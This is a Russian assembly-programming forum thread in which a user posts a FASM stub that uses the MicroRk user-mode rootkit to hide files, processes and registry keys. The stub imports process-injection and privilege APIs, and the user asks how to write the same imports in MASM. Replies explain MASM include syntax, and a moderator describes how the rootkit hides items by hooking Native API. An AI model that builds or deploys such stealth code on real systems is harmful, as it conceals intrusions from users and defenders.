Сейчас на форуме: tyns777, zds, JustLife (+4 невидимых)

 eXeL@B —› Программирование —› Секция импорта на МАСМ-е
Посл.ответ Сообщение


Ранг: 462.8 (мудрец), 468thx
Активность: 0.280
Статус: Участник
Only One!

Создано: 21 апреля 2009 06:48
· Личное сообщение · #1

Наткнулся на фасмовский исходник -
Code:
  1. format PE GUI 4.0
  2. include '%fasminc%\win32a.inc'
  3. section '.text' code readable writeable executable
  4. include 'micrork.inc'
  5. HiddenFiles        db '_;hdfile;tp7;BKY;', 0
  6. HiddenProcesses  db 'win;total;', 0
  7. HiddenRegKeys      db 'bo;hrt;', 0
  8. HiddenRegValues  db 'group;', 0
  9. TrueProcesses      db 'tproc;prv;', 0
  10. entry $
  11.   call     InitRootkit
  12.   push     TrueProcesses
  13.   push     HiddenRegValues
  14.   push     HiddenRegKeys
  15.   push     HiddenProcesses
  16.   push     HiddenFiles
  17.   call     SetHidden
  18.   ret
  19. section '.idata' import data readable writeable
  20.   library kernel32, 'kernel32.dll',
  21.            advapi32, 'advapi32.dll',
  22.            ntdll,    'ntdll.dll'
  23.   import kernel32,                                        
  24.        VirtualAllocEx,          'VirtualAllocEx',        
  25.        DuplicateHandle,     'DuplicateHandle',      
  26.        WriteProcessMemory,  'WriteProcessMemory',          
  27.        CreateRemoteThread,  'CreateRemoteThread',          
  28.        CreateToolhelp32Snapshot, 'CreateToolhelp32Snapshot', 
  29.        Process32First,          'Process32First',        
  30.        Process32Next,            'Process32Next',          
  31.        OpenProcess,                'OpenProcess',              
  32.        CloseHandle,                'CloseHandle',              
  33.        VirtualProtect,          'VirtualProtect',        
  34.        MapViewOfFile,            'MapViewOfFile',          
  35.        ReadProcessMemory,   'ReadProcessMemory',            
  36.        GetModuleFileNameW,  'GetModuleFileNameW',          
  37.        CreateFileMapping,   'CreateFileMappingA'
  38.   import advapi32,                                        
  39.        OpenProcessToken,    'OpenProcessToken',              
  40.        LookupPrivilegeValue,         'LookupPrivilegeValueA',    
  41.        AdjustTokenPrivileges,        'AdjustTokenPrivileges'
  42.   import ntdll,                                 
  43.        ZwQueryDirectoryFile,         'ZwQueryDirectoryFile',     
  44.        wcsnicmp,    '_wcsnicmp',              
  45.        wcscpy,          'wcscpy',                      
  46.        ZwQuerySystemInformation, 'ZwQuerySystemInformation', 
  47.        ZwEnumerateValueKey,          'ZwEnumerateValueKey',      
  48.        wcsncpy,     'wcsncpy',                  
  49.        ZwClose,     'ZwClose',                  
  50.        ZwOpenKey,           'ZwOpenKey',            
  51.        ZwEnumerateKey,          'ZwEnumerateKey',        
  52.        RtlInitUnicodeString,         'RtlInitUnicodeString',     
  53.        wcsicmp,     '_wcsicmp',                
  54.        mbstowcs,    'mbstowcs',                
  55.        ZwCreateThread,          'ZwCreateThread'


Возможно ли реализовать тоже самое на МАСМ-е? И как это сделать?
Подскажите плиз...

-----
aLL rIGHTS rEVERSED!





Ранг: 605.2 (!), 341thx
Активность: 0.470.25
Статус: Модератор
Research & Development

Создано: 21 апреля 2009 08:57 · Поправил: Jupiter
· Личное сообщение · #2

если вопрос именно в импорте - то в масме достаточно подключить инклуд и либу соответсвтующей длл

Code:
  1. include   kernel32.inc
  2. includelib        kernel32.lib


-----
EnJoy!




Ранг: 101.0 (ветеран), 344thx
Активность: 1.150
Статус: Участник

Создано: 21 апреля 2009 11:13
· Личное сообщение · #3

Так гибко управлять импортом как в FASM, вроде бы в MASM нельзя. Всё что можно - указать только нужные функции в файлах *.inc.



Ранг: 203.3 (наставник)
Активность: 0.220
Статус: Участник
UPX Killer -d

Создано: 21 апреля 2009 16:28
· Личное сообщение · #4

А в чем прикол в первом сорце?

-----
Я медленно снимаю с неё UPX... *FF_User*





Ранг: 355.4 (мудрец), 55thx
Активность: 0.320
Статус: Uploader
5KRT

Создано: 21 апреля 2009 18:29 · Поправил: Coderess
· Личное сообщение · #5

В том, что можно секцию создать используюя директиву

Code:
  1. section '.text' code readable writeable executable


Не совсем понял вопрос.

-----
Gutta cavat lapidem. Feci, quod potui. Faciant meliora potentes





Ранг: 605.2 (!), 341thx
Активность: 0.470.25
Статус: Модератор
Research & Development

Создано: 21 апреля 2009 18:43
· Личное сообщение · #6

да нет никакихх приколов - обычный сорс фасма

Coderess пишет:
В том, что можно секцию создать используюя директиву


вообще-то речь об импорте, а не о секции кода
к тому же при компиляции в масме линкеру можно сказать, чтобы секция была записываемой

собсно исходник:
MicroRk - Very small usermode rootkit by Ms-Rem

Простой юзермодный руткит написаный целиком на fasm. Оформлен в виде библиотеки. Есть тестовые примеры использования. Руткит построен на перехвате NativeApi и умеет скрывать процессы, файлы, ключи и значения в реестре. Применять стоит только в маленьких прогах, для более серьезных вещей автор советует лезть в ядро.

-----
EnJoy!




Ранг: 203.3 (наставник)
Активность: 0.220
Статус: Участник
UPX Killer -d

Создано: 21 апреля 2009 19:36
· Личное сообщение · #7

Coderess пишет:
В том, что можно секцию создать используюя директиву

В МАСМ или ТАСМ такое тоже можно, не помню точно. Надо книжку поднять, посмотреть...

-----
Я медленно снимаю с неё UPX... *FF_User*




Ранг: 0.0 (гость)
Активность: 0=0
Статус: Участник

Создано: 23 апреля 2009 18:27 · Поправил: Модератор
· Личное сообщение · #8

// Удалено как оффтоп



Ранг: 101.0 (ветеран), 344thx
Активность: 1.150
Статус: Участник

Создано: 23 апреля 2009 18:33 · Поправил: progopis
· Личное сообщение · #9

Чтобы народ не регистрировался на форуме дабы запостить бред не относящийся к теме, поставил на тему "ключ".


 eXeL@B —› Программирование —› Секция импорта на МАСМ-е
:: Ваш ответ
Жирный  Курсив  Подчеркнутый  Перечеркнутый  {mpf5}  Код  Вставить ссылку 
:s1: :s2: :s3: :s4: :s5: :s6: :s7: :s8: :s9: :s10: :s11: :s12: :s13: :s14: :s15: :s16:


Максимальный размер аттача: 500KB.
Ваш логин: german1505 » Выход » ЛС
   Для печати Для печати